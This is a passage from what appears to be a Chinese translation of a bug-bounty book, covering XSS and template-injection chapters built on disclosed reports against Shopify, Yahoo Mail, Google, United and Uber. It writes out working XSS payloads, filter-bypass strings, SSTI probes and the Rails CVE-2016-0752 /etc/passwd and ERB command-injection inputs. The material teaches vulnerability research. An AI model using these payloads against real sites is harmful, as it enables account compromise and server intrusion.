在该网页示例中，<script>标签调用document对象的getElementById方法并传递ID参数'name'来找到HTML元素。该调用返回指向<h1>标签中的span元素的引用。然后，脚本使用innerHTML方法修改<span id=\"name\">和</span>标签之间的文本。脚本将<span>和</span>之间的文本设置为从location.hash读入的值，该值是URL中#后面的所有文本（location是浏览器的另一个API接口对象，类似于DOM；它提供了对浏览器当前的URL信息的访问）。 因此，访问www.<example>.com/hi#Peter/将导致页面的HTML自动更新为<h1><span id=\"name\">Peter</span></h1>。 由于该网页没有在更新<span>元素前过滤URL中的#字符，因此，如果用户访问www.<example>.com/h1#<img src=x onerror=alert(document .domain)>，就会弹出一个JavaScript警告框并显示www.<example>.com（假定没有图片×返回给浏览器）。网页中的HTML最后看起来如下所示： 这一次，网页不是在<h1>标签中呈现Peter，而是显示一个具有document.domain名字的JavaScript警告框。攻击者可以使用这一点去执行几乎任何JavaScript代码，因为它们可以在<img>标签的onerror属性中放置JavaScript代码。 隐藏型XSS （Blind XSS）是一个存储型XSS，在这种攻击中其他用户从网站上黑客不能访问的位置来加载呈现到界面的XSS负载。例如，当你在一个网站上可以通过增加XSS作为你的姓名并创建你的个人信息文件时，隐藏型XSS就可能发生。当正常用户访问你的个人信息文件时，你的姓名会被转义，他们也就看不到你的姓名。但是当管理员访问管理页面并列出网站所有新用户时，这些值就可能没有被过滤并且XSS可能被执行，管理员就可以看到你的姓名。Matthew Bryant开发的工具XSSHunter（ https://xsshunter.com/ ）是检测隐藏型XSS的理想工具。Bryant设计的负载会执行JavaScript代码，并调用远程脚本。当脚本执行时，它会读取负载发回到你的XSSHunter账号的DOM、浏览器、cookie和其他信息。 自有型XSS 漏洞是那些只会影响输入负载的用户的漏洞。因为攻击者只能攻击他们自己，因此自有型XSS被很多漏洞奖励项目认为是低风险且不值得给予奖励的。例如，当XSS通过一个POST请求进行提交时就可能发生这种漏洞。但是因为该请求受到CSRF保护，只有目标对象自己才能提交这个XSS负载。自有型XSS可以是存储型的，也可以不是存储型的。 如果你发现了一个自有型XSS，尝试寻找结合另一个可以影响其他用户的漏洞的机会，例如login/logout CSRF。在这种攻击中，目标对象退出了他们的账号并且登录进了攻击者的账号，从而执行了恶意JavaScript脚本。一般来说，login/logout CSRF攻击需要具有将目标对象登录回使用恶意JavaScript代码的账号的能力。我们不详细研究使用login/logout CSRF的漏洞，但是你可以参考一个很好的例子，该例子是Jack Whitton在Uber的一个网站上发现的，你可以从如下网址了解详细信息： https://whitton.io/articles/uber-turning-self-xss-into-good-xss/ 。 XSS的影响依赖于很多因素——它是存储型的还是反射型的，cookie是否可以访问，负载在哪执行，等等。尽管XSS可能会给网站造成潜在的损害，但通常修复XSS漏洞是简单的，只需要软件开发者在网页呈现之前对用户的输入（就像具有HTML注入的输入一样）进行过滤即可。"},
    {"text": "未知 7.2 Shopify Wholesale XSS漏洞 难度： 低 URL： wholesale.shopify.com/ 报告位置： https://hackerone.com/reports/106293/ 报告日期： 2015年12月21日 支付奖金： 500美元 XSS负载不一定很复杂，但是你确实需要把它们放到正确的位置，它们有可能包含在HTML中，也有可能存放在JavaScript标签中。在2015年12月，Shopify的wholesale网站还是一个简单的顶部有一个独特的搜索框的网页。该网页的XSS漏洞很简单，但容易被忽略：在搜索框中输入的文本未经过滤就反映到了已有的JavaScript标签里。 因为XSS负载一般不会利用未过滤的HTML，所以人们忽略了这个漏洞。但是因为HTML定义了网站的界面外观，所以当XSS可以影响HTML界面呈现的过程时，攻击者就会看到XSS负载带来的效果。相应地，JavaScript代码能够改变网站的界面外观或者执行一些操作，但是它不能定义网站的界面外观。 在本例中，输入\"><script>alert('XSS')</script>并不会执行XSS负载alert('XSS')，因为Shopify会对HTML标签<>进行编码。这两个字符会被编码为无害的&lt;和&gt;。一个黑客注意到<script></script>标签中的输入会被呈现在网页上而不进行特殊字符过滤。更为可能的是，该黑客通过查看网页的源码得出了这一结论，网页源码中包含该网页的HTML和JavaScirpt。你可以通过在浏览器地址栏中输入view-source：URL来查看网页的源码。例如，图7-2显示了网站 https://nostarch.com/ 的部分网页源码。 图7-2 网站 https://nostarch.com/ 的网页源码 在意识到输入内容在呈现时不做特殊字符过滤后，该黑客在Shopify的搜索框中输入test';alert('XSS');'，这样就会在页面呈现时显示一个具有文本'XSS'的JavaScript警告框。尽管报告中描述得不是很明显，但是很有可能是Shopify在JavaScript语句中处理并在界面呈现了被搜索的词语，比如var search_term='<INJECTION>'。注入的第一部分test';将会关闭该标签，随后作为一个独立的语句插入alert('XSS');。最后的'确保JavaScript语法是正确的。最后的结果看起来如下： 要点 XSS漏洞不一定很复杂。Shopify的XSS漏洞就不是很复杂：它仅仅是一个不过滤用户输入的特殊字符的文本框。当你进行XSS测试时，要查看页面源码并确认负载是在HTML中呈现还是在JavaScript标签中呈现。 未知 7.3 Shopify货币格式XSS漏洞 难度： 低 URL： <YOURSITE>.myshopify.com/admin/settings/general/ 报告位置： https://hackerone.com/reports/104359/ 报告日期： 2015年12月9日 支付奖金： 1000美元 XSS负载不总是立即执行。鉴于此，黑客应检查负载在任何可能进行界面呈现的地方是否都进行了正确的特殊字符过滤。在本例中，Shopify的商店设置允许用户更改货币格式。在2015年12月，当建立社交媒体网页时，这些输入框中的值还没有进行正确的特殊字符过滤。恶意用户可以建立一个商店并在商店的货币设置域中注入一个XSS负载，如图7-3所示。负载将在该商店的社交媒体销售频道进行呈现。恶意用户可以配置在另一个商店管理员访问该销售频道时执行负载。 图7-3 在报告漏洞时Shopify的货币设置页面 Shopify使用Liquid模板引擎自动呈现商店网页上的内容。例如，${{ }}是Liquid的语法，要呈现的变量被输入到最里面的大括号中。在图7-3中，${{amount}}是一个合法的值，但是被附加了值\"><img src=x onerror=alert (document.domain)>，这是一个XSS负载。\">关闭了负载正被注入的HTML标签。当该HTML标签关闭后，浏览器呈现图片标签并寻找src属性中的图片x。因为图片x在Shopify网站上根本不存在，所以浏览器遇到了一个错误并调用JavaScript事件处理程序onerror。该事件处理程序执行其定义的JavaScript脚本。在本例中，就是执行函数alert(document.domain)。 虽然当用户访问货币配置页面时JavaScript不会执行，但是这些负载也会在Shopify商店的社交媒体销售频道中出现。当其他商店管理员点击了该具有漏洞的销售频道标签页时，恶意XSS将会原封不动地正常呈现并执行JavaScript。 要点 XSS负载在它们被提交后并不总是立刻执行。因为一个负载可能会在一个网站的多个地方被使用，所以一定要访问该负载可能进行界面呈现的每个地方。在本例中，简单地在货币格式配置页面提交恶意负载并不会执行XSS。但是漏洞报告者可以通过配置另外一个网站特性来使得XSS得以执行。"},
    {"text": "未知 7.4 雅虎邮件存储型XSS漏洞 难度： 中 URL： Yahoo! Mail 报告位置： https://klikki.fi/adv/yahoo.html 报告日期： 2015年12月26日 支付奖金： 1万美元 通过修改输入文本过滤用户输入的信息时，如果处理不当，可能导致问题。在本例中，雅虎邮件编辑器允许人们通过在HTML中使用<img>标签在邮件中嵌入图像。编辑器通过移除JavaScript属性，例如onload、onerror等来过滤数据，从而避免XSS漏洞。然而，它无法避免用户故意提交格式错误的<img>标签所造成的漏洞。 大多数HTML标签都接受属性，这些属性是关于HTML标签的额外信息。例如，<img>标签需要一个src属性，用于指向用于界面呈现的图片所在的地址。该标签也支持width和height属性，用以定义图像的尺寸。 有些HTML属性是布尔属性：当在HTML标签中包含该属性时，表示为真，否则表示为假。 在该漏洞中，Jouko Pynnonen发现如果他在HTML标签中加入赋值的布尔属性，雅虎邮件将会去掉该值并保留该布尔属性的等号。下面是Pynnonen的一个例子： 如上所示，HTML input标签包含一个CHECKED属性，用于表示在该检查框进行浏览器呈现时是否会被选中。经过雅虎的标签解析，上面的代码行变为： 这看起来似乎无害，但是HTML允许在未结束属性值的等号后面有零个或多个空格。因此，浏览器将会解释以上代码为CHECKED具有属性值NAME=\"check，并且该input标签还有第三个命名为box的属性，该属性没有值。 为了利用该漏洞，Pynnonen提交了如下的<img>标签： 雅虎邮件过滤后将把上述代码变为： ismap是一个布尔型的<img>标签的属性，用于标识该图片是否具有可以点击的区域。在本例中，雅虎移除了'xxx'，并且该字符串结尾处的单引号也被移到了yyy的结尾处。 有时，网站的后台就像一个黑盒一样，你不知道代码是如何处理的，就像本例中一样。我们不知道为什么'xxx'要被移除，也不知道为什么一个单引号移动到了yyy的结尾处。雅虎的解析引擎或者浏览器处理雅虎返回数据的方式导致发生了这些变化。然而，你可以利用这些奇怪的东西来发现漏洞。 由于对代码进行了以上方式的处理，一个高度和宽度都是100%时的<img>标签在进行呈现时，将会占据整个浏览器窗口。当用户移动鼠标到网页上面时，XSS负载就会执行，因为注入内容中有onmouseover=alert(/XSS/)的代码。 要点 当网站通过修改输入而不是重新编码和转义来对用户输入进行过滤时，你应该进一步测试一下网站服务器端的实现逻辑。想一想开发者是怎样实现代码以完成相应功能的，以及他们可能做了哪些假设。例如，测试一下开发者是否考虑了如果提交两个src属性或者将空格用斜杠替换将会发生什么。在本例中，漏洞报告者测试了当布尔类型属性被赋值并提交后将会发生什么。 未知 7.5 Google图像搜索XSS漏洞 难度： 中 URL： images.google.com/ 报告位置： https://mahmoudsec.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html 报告日期： 2015年9月12日 支付奖金： 未公布 取决于输入被呈现在页面的什么地方，你并不总需要使用特殊字符来利用XSS漏洞。在2015年9月，Mahmoud Jamal使用Google图像搜索器查找一张用于他的HackerOne配置文件的图片。在浏览时，他注意到来自Google的图像URL http://www.google.com/imgres?imgurl=https://lh3.googleuser.com/...。 注意URL中关于参数imgurl的引用，Jamal意识到他可以控制该参数的取值；它很可能是作为页面上的一个链接进行呈现。当在他的配置文件中用鼠标悬停在该图像的缩略图上时，Jamal确认了<a>标签的href属性包含同样的URL。他试着改变imgurl参数为javascript:alert(1)，然后发现href属性也跟着变成了同样的值。 当特殊字符被过滤时，javascript:alert(1)负载也是可用的，因为该负载不包含网站用于编码的特殊字符。当点击指向javascript:alert(1)的链接时，一个新的浏览器窗口将会被打开，并且执行alert函数。另外，因为JavaScript是在包含该链接的初始网页中执行的，所以JavaScript可以访问该网页上下文环境中的DOM对象。换句话说，一个指向javascript:alert(1)的链接将会针对Google网站执行alert函数。该结果证明了恶意攻击者可能会获取网页上的信息。如果点击指向JavaScript协议的链接不能继承呈现该链接的初始网站的上下文环境，那么XSS将是无害的：攻击者不能访问该网页中的DOM对象。 带着兴奋的心情，Jamal点击了他所认为的恶意链接，但是并没有JavaScript执行。Google已经针对该URL地址进行了过滤，当通过锚标签的onmousedown JavaScript属性单击鼠标按钮时并不会触发事件。 作为一个备选方案，Jamal尝试着在页面中通过键盘来切换光标位置。当他把光标切换到查看图像按钮时，他按了Enter键。JavaScript被触发了，因为他没有通过单击鼠标按钮的方式访问该链接。 要点 要一直关注可以在页面上反映出来的URL参数，因为你可以控制这些值。如果你发现了在页面上呈现的URL参数，一定要同时考虑它们的上下文环境。URL参数可能会提供绕开过滤特殊字符的过滤器的机会。在本例中，Jamal不必提交任何特殊字符，因为他所设置的值是作为锚标签的href属性呈现的。 另外，即使是Google或者其他主要网站也要查找漏洞。人们很容易做出如下假定：因为公司规模足够大，所以所有的漏洞都已经被挖出来了。但是很明显，事实并非如此。"},
    {"text": "未知 7.6 Google标签管理器存储型XSS漏洞 难度： 中 URL： tagmanager.google.com/ 报告位置： https://blog.it-securityguard.com/bugbounty-the-5000-google-xss/ 报告日期： 2014年10月31日 支付奖金： 5000美元 网站的一个通用最佳实践是在页面呈现时对用户输入进行过滤，而不是在提交保存时进行过滤。原因在于引入新的方法（例如，文件上传）来向网站提交数据太容易了，从而容易忘记过滤用户的输入。然而在有些情况下，企业并不遵循这一实践准则：HackerOne的Patrik Fehrenbach在2014年10月测试Google的XSS漏洞时就发现了这一点。 Google标签管理器是一个搜索引擎优化（SEO）工具，允许市场人员更容易地添加和更新网站标签。为了实现该功能，它有很多用于用户交互的网站表单。Fehrenbach通过发现可用的表单域并输入类似#\"><img src=/onerror=alert(3)>的XSS负载开始进行漏洞测试。如果负载被表单域接受，该负载将关闭现有的HTML标签并且尝试加载一个不存在的图片。因为图片并不存在，所以网站将执行onerror的JavaScript函数alert(3)。 但是Fehrenbach的负载没有成功执行。Google正确地过滤了他的输入。Fehrenbach发现了提交他的负载的一个替代方法。除了表单域之外，Google还提供了上传具有多个标签的JSON文件的功能。因此，Fehrenbach上传了如下JSON文件到Google的服务器上： 注意，name属性的值与Fehrenbach之前尝试的XSS负载完全一样。Google没有遵循最佳实践，它是在网页表单提交时而不是在网站内容呈现时实现对用户输入的过滤。结果，Google忘记了对上传的文件输入也要进行过滤，因此Fehrenbach的负载得以执行。 要点 在Fehrenbach的报告中有两个细节值得注意。第一，Fehrenbach发现了一个注入他的XSS负载的替代方法。你也可以去寻找你的注入的替代方法。要确保去测试目标对象提供的所有输入方法，因为每种输入方法的处理方式可能是不同的。第二，Google是在输入时而不是在呈现时对输入内容进行过滤。Google本可以通过遵循最佳实践来避免该漏洞。即使你知道网站开发人员通常使用常见的对策来对付某些攻击，也要检查漏洞。开发者很可能会犯错误。"},
    {"text": "未知 7.7 联合航空网站XSS漏洞 难度： 难 URL： checkin.united.com/ 报告位置： http://strukt93.blogspot.jp/2016/07/united-to-xss-united.html 报告日期： 2016年7月 支付奖金： 未公布 2016年7月，在寻找廉价航班时，Mustafa Hasan开始寻找联合航空网站上的漏洞。他发现在访问子域checkin.united.com时，会重定向到一个包含SID参数的URL。注意到任何传递给该参数的值都会在HTML页面上呈现，他测试了参数值：\"><svg onload=confirm(1)>。如果网页呈现不当，该值会关闭现有的HTML标签并注入Hasan的<svg>标签，从而导致在页面加载时弹出一个JavaScript确认框。 但是当他提交该HTTP请求时，什么都没有发生，尽管他的负载被正常呈现而没有进行任何过滤。Hasan没有放弃，而是用浏览器的开发工具打开了该网站的JavaScript文件。他发现了如下代码，这些代码重写了可能会导致XSS漏洞的JavaScript属性，这些属性包括alert、confirm、prompt和write： 即使你不懂JavaScript，你也可能会猜到使用特定语句会发生什么。例如，XSSObject proxy定义中的exec_original参数名❶就暗示了在该函数执行时是否执行原始函数。在该函数定义后面紧接着就是所有我们关心的函数列表，并且exec_original参数值被设置为了false（除了最后一个外）❷。我们可以推测网站正通过不允许传递给XSSObject proxy的JavaScript属性执行的方式来保护网站。 值得注意的是，JavaScript允许你覆盖现有函数。因此，Hasan先尝试通过在SID参数中增加如下的取值来恢复document.write函数： 该取值通过使用write函数的原型（prototype）来设置文档对象的write函数为它的初始功能。因为JavaScript是面向对象的，所以所有的对象都有原型。通过调用HTMLDocument，Hasan将当前文档的write函数设置回来自HTMLDocument的原始实现形态。然后他调用document.write('STRUKT')以实现在网页的明文中增加上他的名字。 但是当Hasan试着利用该漏洞时，他又被卡住了。他向Rodolfo Assis求助。通过合作，他们发现了联合航空网站的XSS过滤器漏掉了对一个类似write的函数writeln的重写。这两个函数的区别在于writeln在写完文本之后会增加一个新的行，而write不会。 Assis相信他可以使用writeln函数向HTML文档中写入内容。这么做会使得他能够绕过联合航空网站的XSS过滤器。他通过如下负载进行实现： 但是他的JavaScript仍然没有执行，因为XSS过滤器还是被加载了并且覆盖了alert函数：Assis需要使用不同的方法。在我们介绍最终的负载以及Assis怎样解决alert重写问题之前，先让我们分解一下他提出的如上所示的负载。 第一部分，\";}，关闭了正在注入其中的现有JavaScript。然后，{开始了JavaScript负载，并且document.writeln调用了JavaScript文档对象的writeln函数来向DOM中写入内容。传递给writeln的decodeURI函数解码URL中的编码实体（例如，%22将被解码为\"）。传递给decodeURI的location.hash代码返回URL中#之后的所有参数，其具体定义在后面描述。在这些初始设置完成之后，-\"替换了有效负载开头的引号，以确保JavaScript语法正确。 最后一部分，#<img src=1 onerror=alert(1)>，加上一个永不会发送到服务器的参数。最后一部分是URL的一个自定义的、可选的部分，称作片段，它是指向文档的一部分。但是在本例中，Assis使用片段以利用#来定义片段的开始。对location.hash的引用返回#后的所有内容。但是返回的内容都是URL编码的，因此，输入<img src=1 onerror=alert(1)>将返回%3Cimg%20src%3D1%20 onerror%3Dalert%281%29%3E%20。为处理编码，函数decodeURI将以上内容又解码回HTML形式：<img src=1 onerror=alert(1)>。这一点很重要，因为解码后的值会被传给writeln函数，该函数会把HTML <img>标签写入DOM中。该HTML标签将会在网站发现没有标签中src属性指定的图片1时，触发执行XSS。如果以上负载能够成功执行，那么将弹出一个显示数字1的JavaScript警告框。但是这并没有发生。 Assis和Hasan意识到他们需要一个联合航空网站上下文环境中的HTML刷新文档：他们需要一个网页，该网页没有对加载的JavaScript进行XSS过滤，但是仍然能够访问联合航空网页信息、cookie等。因此，他们使用了一个具有如下负载的iFrame： 该负载从行为上看与最初的具有<img>标签的URL一致。但是在该负载中，他们向DOM中写入了一个<iframe>，并改变src属性为使用JavaScript机制调用alert(document.domain)。该负载类似于我们在7.5节中讨论的XSS漏洞一样，因为JavaScript机制会继承父DOM对象的上下文环境。现在XSS可以访问联合航空的DOM了，因此，document.domain将打印出www.united.com。该漏洞在网站进行呈现并弹出一个警告框时得到了确认。 iFrame可以通过资源属性引入远程的HTML。结果，Assis可以设置资源为JavaScript，而该JavaScript立刻调用alert函数并显示文档对象的域名。 要点 要注意该漏洞的三个重要的细节。第一，Hasan非常执着。当他的负载没有发挥作用时，他没有放弃，而是进一步追踪JavaScript以找出原因。第二，使用JavaScript属性黑名单的机制，告知了黑客在代码中可能会存在XSS漏洞，因为开发者在该机制下可能会犯错。第三，掌握JavaScript知识对于成功验证更为复杂的漏洞十分必要。"},
    {"text": "未知 7.8 总结 XSS漏洞代表了网站开发者所面对的真正的风险，并且显而易见，这些漏洞在网站中仍然广泛存在。通过提交一个类似于<img src=x onerror=alert(document.domain)>的负载，你就可以检测出来一个输入域是否存在漏洞。但这不是测试XSS漏洞的仅有方法。如果某个网站通过修改（移除字符、属性等）进行输入过滤，你应该全面测试一下它的过滤机制。寻找网站通过提交输入进行过滤而不是通过页面呈现时进行过滤的机会，并且测试所有的输入方法。另外，也要寻找你可以控制并且能够反映到页面上的URL参数，这可能有助于你发现通过绕过编码（例如，在锚标签的href值中增加javascript:alert(document.domain)代码）来实现XSS利用。 重要的是，要考虑你的输入在网站中呈现的所有地方，以及是以HTML方式还是以JavaScript方式呈现。请记住，XSS负载很有可能不会立即执行。 未知 第8章 模板注入 模板引擎是通过在页面呈现时自动填充占位符来创建动态网站、电子邮件和其他媒体的代码。通过使用占位符，模板引擎允许开发者将应用和业务逻辑分离。例如，网站可以针对用户配置的网页只使用一个模板，用动态占位符来标出配置的各个域，例如用户名、电子邮件地址、年龄等。模板引擎通常还有额外的好处，例如具备用户输入内容过滤特性、简化了HTML生成过程、易于维护等。但是这些特性并不能保证模板引擎对漏洞免疫。 在模板引擎没有对用户输入进行正确滤除，并进而导致远程代码执行的情况下，就会发生模板注入漏洞。我们将在第12章详细讨论远程代码执行。 有两种类型的模板注入漏洞：服务器端模板注入和客户端模板注入。 未知 8.1 服务器端模板注入 在服务器端逻辑中发生注入时，就会产生服务器端模板注入（SSTI）漏洞。因为模板引擎与特定的编程语言相关，当注入发生时，你有时很有可能能够执行该种语言的任何代码。你能否做到这一点，取决于模板引擎提供的安全防护手段和网站的预防措施。Python Jinja2引擎允许任意文件的访问和远程代码执行，Rails默认使用的Ruby ERB模板引擎也是一样。相反，Shopify的Liquid引擎仅允许访问有限的几个Ruby方法，以试图阻止完全远程代码执行。其他流行的引擎包括PHP的Smarty和Twig，Ruby的Haml、Mustache等。 为了测试SSTI漏洞，你需要使用该引擎的特定语法来提交模板表达式。例如，PHP的Smarty模板引擎使用四个大括号{{}}来表示表达式，而ERB使用尖括号、百分号和等号的组合<%=%>来表示表达式。关于Smarty注入的典型测试包括提交{{7*7}}和查看输入反映到网页上的区域（例如表单、URL参数等）。在本例中，你将查找表达式7*7执行的结果49都在哪些地方呈现。如果你找到了49，就会知道你成功地注入了表达式，并且模板引擎对其进行了正确处理。 因为所有模板引擎采用的语法并不统一，你必须知道正在测试的网站是用哪类软件构建的。类似Wappalyzer和BuiltWith的工具就是为解决这个问题而设计的。在识别出构建网站所用的软件后，使用模板引擎的语法提交一个简单的负载，例如7*7。 未知 8.2 客户端模板注入 客户端模板注入（CSTI）漏洞发生在客户端模板引擎中并被写入JavaScript里。流行的客户端模板引擎包括Google的AngularJS和Facebook的ReactJS。 因为CSTI发生在用户的浏览器中，你一般不能利用它们以实现远程代码执行，但是你可以将它们用于XSS。然而，成功执行XSS有时是很难的，并且需要绕过模板引擎的预防措施，就像SSTI漏洞利用一样。例如，默认情况下，ReactJS在抵御XSS方面做了大量工作。当使用ReactJS测试应用程序时，你应该在JavaScript文件中搜索函数dangerouslySetInnerHTML，在这个函数中，你可以控制提供给函数的输入。这将会绕过ReactJS的XSS保护。对于AngularJS，早于1.6的版本包含一个沙箱，它限制了对某些JavaScript函数的访问，并能够防止XSS（为查看AngularJS的版本，你可以在浏览器的开发者控制台上输入Angular.version）。但是白帽子们发现并公布了绕开版本1.6之前的AngularJS沙箱的方法。下面就是一个适用于AngularJS版本1.3.0到1.5.7的在你发现了注入漏洞时可以提交的绕过沙箱的流行方法： 你也可以从 https://pastebin.com/xMXwsm0N和https://jsfiddle.net/89aj1n7m/ 找到其他已发布的绕开AngularJS沙箱的方法。 描述CSTI漏洞的严重性需要你去测试你可能会执行的代码。尽管你能够评估某些JavaScript代码，但是有些网站可能会有额外的安全机制用以防止漏洞利用。例如，通过使用负载{{4+4}}，我发现了一个CSTI漏洞，它会在使用AngularJS的网站上返回8。但是当我使用{{4*4}}时，网站上返回的是文本{{44}}，因为网站对输入的星号进行了过滤。该域也会过滤特殊字符，例如()和[]，并且最多允许30个字符。以上这些预防措施结合在一起，有效地防止了CSTI漏洞。"},
    {"text": "未知 8.3 Uber AngularJS模板注入 难度： 高 URL： https://developer.uber.com/ 报告位置： https://hackerone.com/reports/125027/ 报告日期： 2016年3月22日 支付奖金： 3000美元 在2016年3月，PortSwigger（开发出Web应用攻击平台Burp Suite的公司）的首席安全研究员James Kettle，通过URL https://developer.uber.com/docs/deep-linking?q=wrtz{{7*7}}发现了Uber子域中的一个CSTI漏洞。如果你在访问该链接后查看呈现的页面，你会发现字符串wrtz49，这表示模板已经对表达式7*7进行了正确处理。 事实证明，developer.uber.com使用了AngularJS用于呈现网页。你可以通过使用例如Wappalyzer或BuiltWith这类的工具，或者通过查看网页源码看是否有ng-开头的HTML属性来确认这一点。正如上面提到的，AngularJS的早期版本实现了沙箱，但是Uber使用的版本恰好对于沙箱绕过攻击是脆弱的。因此，在这种情况下，CSTI漏洞就意味着你能够执行XSS。 在Uber URL内使用如下的JavaScript，Kettle绕过了AngularJS沙箱并执行了alert函数： 考虑到有大量关于在版本1.6中绕过或移除AngularJS沙箱的公开发布的文章，本书中不再对以上负载进行详细解析。但是负载alert(1)的最后结果是弹出一个JavaScript警告框。该漏洞验证程序向Uber表明，攻击者可以利用该CSTI漏洞来执行XSS，从而导致潜在的开发人员账号和相关程序受损。 要点 在你确认了一个网站是否使用客户端模板引擎之后，通过提交与该引擎采用同样语法的简单负载，例如AngularJS的{{7*7}}来测试该网站，并且观察网页呈现的结果。如果负载能够执行，通过在浏览器控制台输入Angular.version来检查一下网站使用的是AngularJS的哪个版本。如果版本高于1.6，你可以从上述我提到的资源中查找并提交负载，而不需要绕过沙箱。如果版本低于1.6，你需要像Kettle一样，针对网站使用的AngularJS版本提交能够绕过沙箱的脚本。"},
    {"text": "未知 8.4 Uber Flask Jinja2模板注入 难度： 中 URL： https://riders.uber.com/ 报告位置： https://hackerone.com/reports/125980/ 报告日期： 2016年3月25日 支付奖金： 1万美元 当你进行破解时，重要的是要标识出公司网站所采用的技术。当Uber在HackerOne发布它的公开漏洞奖励项目时，它也在它的网站 https://eng.uber.com/bug-bounty/ 上放了一份“藏宝图”（2017年8月，该图被修订并发布在https://medium.com/uber-security-privacy/uber-bug-bounty-treasure-map-17192af85c1a/）。该图标识出了Uber运营的一些敏感资产，以及这些资产所使用的软件。 在该图中，Uber披露riders.uber.com是由Node.js、Express和Backbone.js构建的，并且这些都不会立刻成为潜在的SSTI攻击向量。但是网站vault.uber.com和partners.uber.com都是使用Flask和Jinja2开发的。Jinja2是一个服务器端模板引擎，如果实现不正确，可能会允许远程代码执行。尽管riders.uber.com没有使用Jinja2，但是如果该网站向vault.uber.com或partners.uber.com提供输入，这两个网站都会信任它的输入而不进行内容过滤，那么攻击者就可能会利用SSTI漏洞发起攻击。 发现该漏洞的黑客Orange Tsai输入了{{1+1}}作为他的名字以开始测试SSTI漏洞，并寻找是否在子域之间有交互发生。 在他的报告中，Tsai解释道，任何对网站riders.uber.com上个人信息文件的修改都会导致发送一封邮件给该账号用户以提醒这些改变——这也是常用的安全方法。通过在该网站上修改他的名字为包含{{1+1}}，Tsai收到了一封在他的名字中包含2的提醒邮件，如图8-1所示。 图8-1 Tsai收到的已经执行了他注入名字中的代码的提醒邮件 这种行为是一个积极信号，因为Uber正确处理了Tsai的表达式，并且用其结果代替了表达式。然后Tsai尝试提交Python代码{% for c in [1,2,3]%} {{c,c,c}} {% endfor %}以进一步验证更复杂的操作也可以被正常处理。该代码在数组[1,2,3]中进行循环迭代，并且打印每个数字三次。图8-2中的邮件展示了作为for循环执行结果的显示为9个数字的Tsai的名字，这进一步验证了他的发现。 Jinja2也实现了沙箱，这将会限制执行任意代码的能力，但是也可能会被偶尔绕过。在这种情况下，Tsai本可以做到这一点。 图8-2 Tsai注入更复杂代码后的提醒邮件 但是Tsai只是在他的报告里说可以具备执行代码的能力，而没有进一步说明是如何深入利用这一漏洞的。在他的报告中，他认为恩威兹姆（nVisium，一家专注软件安全的公司）的博客文章提供了找到漏洞的必要信息，而且这些博客文章还包含在与其他概念结合时关于Jinja2漏洞的进一步利用的信息。让我们稍微绕道通过查看恩威兹姆的博客文章 https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html 来看看这些额外信息是如何应用在奥兰治的漏洞上的。 在博客文章中，恩威兹姆通过使用面向对象编程概念——内省来实现Jinja2漏洞的利用。内省机制是指检查一个对象在执行时的各个属性以便于查看该对象可以使用哪些数据。本书不讨论面向对象的内省机制的工作细节。在本漏洞中，内省机制允许Tsai在发生注入时能够执行代码和识别出哪些属性对于模板对象可用。一旦攻击者知道了这些信息，他们就能发现可以使用的潜在可利用属性来实现远程代码执行。我将在第12章中详细描述这类漏洞。 当Tsai发现该漏洞时，他只是简单地报告了可以执行实现内省所必需的代码的能力，而不是试图进一步分析该漏洞。采用Tsai的方法是很好的，因为这样保证了你不会执行不可预期的操作，而且企业也可以评估漏洞潜在的影响。如果你很有兴趣进一步探究一个漏洞的全部影响，可以在你的报告中征求该企业的意见，看是否能够继续进行测试。 要点 关注网站采用的技术——通常这会让你深入了解如何利用该网站。同时，要确保考虑了这些技术互相之间如何交互。在本例中，Flask和Jinja2是很好的攻击向量，虽然它们并没有在该易受攻击的网站上直接使用。就像XSS漏洞一样，要检查你的输入可能被使用到的任何地方，因为漏洞可能并不是那么明显。在本例中，恶意负载被作为纯文本在用户的个人配置网页上呈现，代码是在邮件发送时执行的。"},
    {"text": "未知 8.5 Rails动态呈现漏洞 难度： 中 URL： 未公布 报告位置： https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/ 报告日期： 2015年2月1日 支付奖金： 未公布 在2016年早些时候，Ruby on Rails（Web应用程序开发框架）团队披露了一个在处理呈现模板的方式中存在的潜在远程代码执行漏洞。恩威兹姆团队的一个成员标识出了该漏洞并提供了一份有价值的漏洞报告，即CVE-2016-0752。Ruby on Rails采用的是模型/视图/控制体系结构（MVC）。在这种体系结构中，数据库逻辑（模型）与展示层逻辑（试图）及应用层逻辑（控制）相分离。MVC是一种改善代码可维护性的常用编程设计模式。 在该报告中，恩威兹姆团队解释了用于负责应用层逻辑的Rails控制器是如何基于用户可控参数来推断出呈现哪个模板文件的。取决于网站是如何开发的，这些用户可控参数可能会直接传递给负责将数据传给展示层逻辑的render方法。该漏洞可能发生在开发者传递输入参数给render函数时，例如通过调用render方法并传递参数params[:template]，其中params[:template]的值就是用于测试的仪表盘。在Rails中，所有来自HTTP请求并提供给应用层控制逻辑的参数都是通过params数组进行传递的。在这种情况下，参数template在HTTP请求中进行提交，并传递给render函数。 这种行为值得注意，因为render方法没有为Rails提供特定的上下文；也就是说，它不提供指向特定文件的路径或链接，而只是自动确定哪个文件应该向用户返回内容。它能够做到这一点，是因为Rails有一个关于配置的强制实现约定：传递给render函数的任何模板参数也将用于检索文件名以呈现其中的内容。根据这一发现，Rails将首先递归查找应用程序根目录/app/views。这是用于呈现内容给客户的所有文件的常用默认目录。如果还没有找到对应的文件，Rails将扫描服务器的根目录。 在CVE-2016-0752公布之前，恶意用户就有可能传递参数template=%2fetc% 2fpasswd，从而Rails就会以“先是视图目录，然后是应用程序目录，最后是服务器的根目录中”的顺序查找文件/etc/passwd。假定你正在使用一台Linux计算机并且该文件也是可读的，Rails就会打印你的/etc/passwd文件。 根据恩威兹姆的报告，当用户能够提交例如<%25%3d`ls`%25>的模板注入时，Rails用于搜索的过程也能用来进行任意代码执行。如果网站使用默认的Rails模板语言ERB，那么这些编码的输入将会被解释为<%= `ls` %>，即列出当前目录中所有文件的Linux命令。尽管Rails团队已经修复了该漏洞，但是假如开发者能够传递用户可控输入给render inline:（render的内嵌函数），你仍然可以测试一下SSTI，因为inline:是直接提供ERB给render函数的。 要点 理解你正在测试的软件是如何工作的将有助于你发现漏洞。在本例中，如果传递给render函数用户可控的输入，那么任何Rails网站都是易受攻击的。理解Rails使用的设计模式无疑有助于发现漏洞。与本例中的模板参数一样，当你能够控制可能会直接与内容呈现方式相关的输入时，应关注出现的漏洞挖掘机会。"},
